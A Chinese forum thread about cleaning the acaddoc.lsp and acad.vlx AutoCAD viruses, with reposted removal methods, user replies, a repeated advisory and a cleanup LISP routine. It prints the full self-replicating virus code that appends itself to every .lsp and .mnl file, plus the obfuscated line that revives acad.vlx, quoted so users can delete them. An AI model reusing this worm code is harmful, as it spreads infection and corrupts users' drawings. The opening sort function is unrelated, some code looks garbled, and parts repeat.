(defun sort(l)
(mapcar
;;;;;(mapcar function list1 ... listn)此函数将 list1 到 listn 当做 function 的参数, 并返回其结果。
'cadr
;;;;;(car (cdr x))第二个函数的第一个元素
(vl-sort
;;;;根据给定的比较函数来对表中的元素排序
(mapcar
;;;(mapcar function list1 ... listn)此函数将 list1 到 listn 当做 function 的参数, 并返回其结果。
'(lambda(x)
;;;(lambda arguments expr...)此函数将用来定义一匿名的函数。
;这通常用于还不需要完整地去定义一个新函数的情况。
;经过在要使用的位置列出这个函数,
;您也可以使程序设计的意图更明显。
;此函数将返回最后一个 expr 的值,
;一般常与 apply 和(或) mapcar共用,
;以在表上执行一函数功能。
(list (atoi (vl-list-string
;;;;将一系列与整数表相关联的字符组合成字符串。非负整数表。表中的每个整数都必须小于 256
(vl-remove-if-not
;;;返回由所提供表中的所有能通过测试函数的元素组成的表。非负整数表。表中的每个整数都必须小于 256
'(lambda(y) (= 48 y 57))
(vl-string-list
;;;;将一系列与整数表相关联的字符组合成字符串。
x)))) x)) l)
'(lambda(m n) ( (car m) (car n)))))
)
;查了函数的定义,应当是以下意思:
;L表里面的元素为X
;元素X由2个以上的元素构成;前面两个必须为数值
;元素X的第二个数值为整数;如果在48~57之间就符合条件并重新组合为一个表
;这个表根据X的第一个数值从小到大排序
保证你不在局域网 或者u盘不乱拷吧。我也中了 这个,清楚不彻底。一下是我自己收集的。
方法 一
acaddoc.lsp输入的列表有缺陷(转自LOVE空间)2009年04月07日 星期二 上午 11:14这个是个新病毒,用以往的解决方法(1.lps改名为acaddoc.lsp替换)无法解决,在网络搜索了一下看到百度空间有个帖子有相关解决办法。
原帖如下:
今天在Q群里又见网友请求删除CAD病毒,说用专杀工具也无法解决,于是让他把病毒文件传了给我。
打开文件一看,发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。
该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码(“acaddoc.lsp”文件内容)写入“*.lsp”文件内,并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时,直线命令“line”、外部参照管理命令“xref”和分解(炸开)命令“explode”无法使用。
CAD系统感染该病毒文件后,只是简单搜索删除“acaddoc.lsp”文件,不能清除病毒。因为所有的“*.lsp”文件已经被修改,所有“*.lsp”文件都是病毒文件。
解决方法壹:
①、关闭CAD
②、搜索并删除所有“acaddoc.lsp”文件
③、卸载CAD(必须卸载干净,并进入C盘用户目录内删除没有卸载完的CAD文件)后,重新安装CAD
解决方法贰:
①、关闭CAD
②、搜索并删除所有“acaddoc.lsp”文件
③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑,复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件(包括C盘用户目录内的相关文件)
预防CAD病毒:
装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒的机率。(此法99.999%有效)
附:C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\
其中×××是你登录系统时的用户名, 200×和R×.×分别是CAD的版本和版本代号。(注意:目录C:\Documents and Settings\是系统隐藏文件夹)
转帖地址:
方法 二
CAD开机运行时会有一大串函数,并且产生acaddoc.lsp的文件处理方法,我用了,方法很好就转过来了
以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp专杀什么的软件。。。全试了都没有用。后来通过网上介绍的一些关于lsp病毒的特性,亲身试验后确实有效,在此和大家分享,希望能为大家解决一些问题。
下面言归正传,杀毒步骤如下:
1、全盘删除acaddoc.lsp(包括隐藏文件夹)——————废话了,呵呵
2、删除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp
3、删除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、删除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10个****.lsp文件。
5、COPY下面附件的alsp内的两个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support,改为只读。
6、COPY下面附件的mnl内的三个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support,改为只读。
7、COPY下面附件的LSP内的十个文件到C:\Program Files\AutoCAD 2006\Support,改为只读。
经以上步骤处理后,就完全可以放心使用了。
方法 三
CAD的病毒很多但都大同小异。现就出现的ACADDOC.LSP病毒进行杀毒。不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。(用记事本打开)
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明:
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp;acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp文件。
2、要删除的病毒代码在文件的尾部,具体如下:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while ( mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while ( mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while ( mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while ( lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while ( lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while ( mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
加入360督导委员会 参与全民护安全! 论坛版主扩编,欢迎您的加入!
canesky
金币:65
经验:99
等级:学前班
功勋:无
短信
[回复此楼][引用][举报] 2 楼 2010-06-11 09:27 顶!
寒梅雪松
金币:15
经验:51
等级:幼儿园
功勋:无
短信
[回复此楼][引用][举报] 3 楼 2010-11-10 03:14 这个方法不管用
aimou108
金币:15
经验:55
等级:幼儿园
功勋:无
短信
[回复此楼][引用][举报] 4 楼 2010-12-07 10:59 已解决!感谢360论坛!同时感谢qq!如果不是qq当年作出一个艰难的决定,我不会用上360.,也就不会知道360论坛。
楼主给我们提供了一个解决方案,但需要注意的是,病毒感染的并不仅仅是安装目录下的文件。如果仅仅清除安装目录下感染文件的代码,是无效的。这也是很多朋友说这个方法不管用的原因。它同时感染了
C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一并将上述代码清除。
这个问题折腾了我几个月,奶奶的。无毒一身轻啊。。。
AutoCAD软件默认自动运行的文件。每当使用acad软件打开的图纸所在目录有该文件就会自动执行,曾为cad二次开发软件自动加载的常用方式。当文件存在于某些acad工作目录或者acad程序目录里面,acad软件也会自动加载。现在除了极少部分二次开发软件使用外,基本都是CAD病毒表现形式。一般来说该病毒会随图纸自动执行并且感染acad软件和二次开发软件,甚至导致图纸信息被破坏,后果比较严重。
这实际上不是Autodesk提供的AutoCAD文件。当AutoCAD载入acad.vlx恶意文件时,会使绘图损坏,进而导致在您保存并重新打开工程图时弹出“缺少语言包”( Missing Language Pack )对话框。
acad.vlx文件会在Help文件夹下面创建一个副本(例如,C:\Program Files\AutoCAD 2010\Help\logo.gif)。其它多个文件也会被修改,同时ACADLSPASDOC系统变量的值会被改为1,这将允许acad.vlx文件载入到其它打开的工程图中,导致工程图损坏。
下述清理流程将在AutoCAD试图加载acad.vlx 文件之前发现该文件并将其删除,防止病毒的传播。
为了避免其它文件的损坏
您必须以Microsoft Windows操作系统的系统管理员身份完成本流程。
在您的产品安装目录中,找到Support 文件夹(例如,C:\Program Files\AutoCAD 2010\Support)。
在Support文件夹内,双击acad20xx.lsp文件(例如,acad2010.lsp文件)。 在文件中加入下面的代码。 AutoCAD将发现并删除acad.vlx和logo.gif 文件。
(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)
打开下面的所有文件:
o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
o ROAMABLEROOTPREFIX\Support\acad.mnlo
备注: 将ROAMABLEROOTPREFIX替换为ROAMABLEROOTPREFIX 系统变量的返回值。
如果出现下列代码,请删除:
(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))
保存所有文件。
备注:在AutoCAD2004或2007中有可能并没有
o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
o ROAMABLEROOTPREFIX\Support\acad.mnlo这三个文件,不用担心,只更改上面说的acad20xx.lsp文件即可解决。
《筑原CAD病毒专杀v3.3》百度网盘资源免费下载:
链接:
?pwd=gsn8 提取码: gsn8
筑原CAD病毒专杀v3.3最新版是一款专门针对AutoCad病毒专杀修复及免疫的专杀工具,针对扫描结果,您可选择删除、仅扫描或放至回收站等模式,查杀效果显著,筑原CAD病毒专杀还内置了白名单和黑名单添加功能,为您预留自由选择空间,增强病毒防范的准确度,而且支持微软所有操作系统,是CAD用户必备工具之一。
这实际上不是Autodesk提供的AutoCAD文件。 当AutoCAD载入acad.vlx恶意文件时,会使绘图损坏,进而导致在您保存并重新打开工程图时弹出“缺少语言包”( Missing Language Pack )对话框。
acad.vlx文件会在Help文件夹下面创建一个副本(例如,C:\Program Files\AutoCAD 2010\Help\logo.gif)。 其它多个文件也会被修改,同时ACADLSPASDOC系统变量的值会被改为1,这将允许acad.vlx文件载入到其它打开的工程图中,导致工程图损坏。
下述清理流程将在AutoCAD试图加载acad.vlx 文件之前发现该文件并将其删除,防止病毒的传播。
为了避免其它文件的损坏
您必须以Microsoft® Windows® 操作系统的系统管理员身份完成本流程。
在您的产品安装目录中,找到Support 文件夹(例如,C:\Program Files\AutoCAD 2010\Support)。
在Support文件夹内,双击acad20xx.lsp文件(例如,acad2010.lsp文件)。 在文件中加入下面的代码。 AutoCAD将发现并删除acad.vlx和logo.gif 文件。
(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)
打开下面的所有文件:
o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
o ROAMABLEROOTPREFIX\Support\acad.mnlo
备注: 将ROAMABLEROOTPREFIX替换为ROAMABLEROOTPREFIX 系统变量的返回值。
如果出现下列代码,请删除:
(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))
保存所有文件。